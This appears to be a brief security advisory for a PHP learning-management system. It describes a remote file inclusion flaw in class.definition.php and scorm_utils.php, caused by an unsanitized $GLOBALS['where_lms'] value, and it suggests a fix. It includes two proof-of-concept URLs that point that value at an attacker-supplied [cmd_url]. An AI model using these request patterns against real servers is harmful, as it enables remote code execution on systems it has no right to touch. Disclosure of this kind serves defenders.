1) Description:
Error occured in class.definition.php,
include($GLOBALS['where_lms'].'/modules/'.$this->module_name.'/'.$this->module_name.'.php');
Error occured in scorm_utils.php,
include_once( $GLOBALS['where_lms'] . '/config.php' );
The users can include a remote file because
the $GLOBALS['where_lms'] isn't sanitized
2) Proof of concept:
http://example/[dc_path]/class.module/class.definition.php?GLOBALS[where_lms]=[cmd_url]
http://example/[dc_path]/modules/scorm/scorm_utils.php?GLOBALS[where_lms]=[cmd_url]
3) Solution:
include file where are declare $GLOBALS[*]
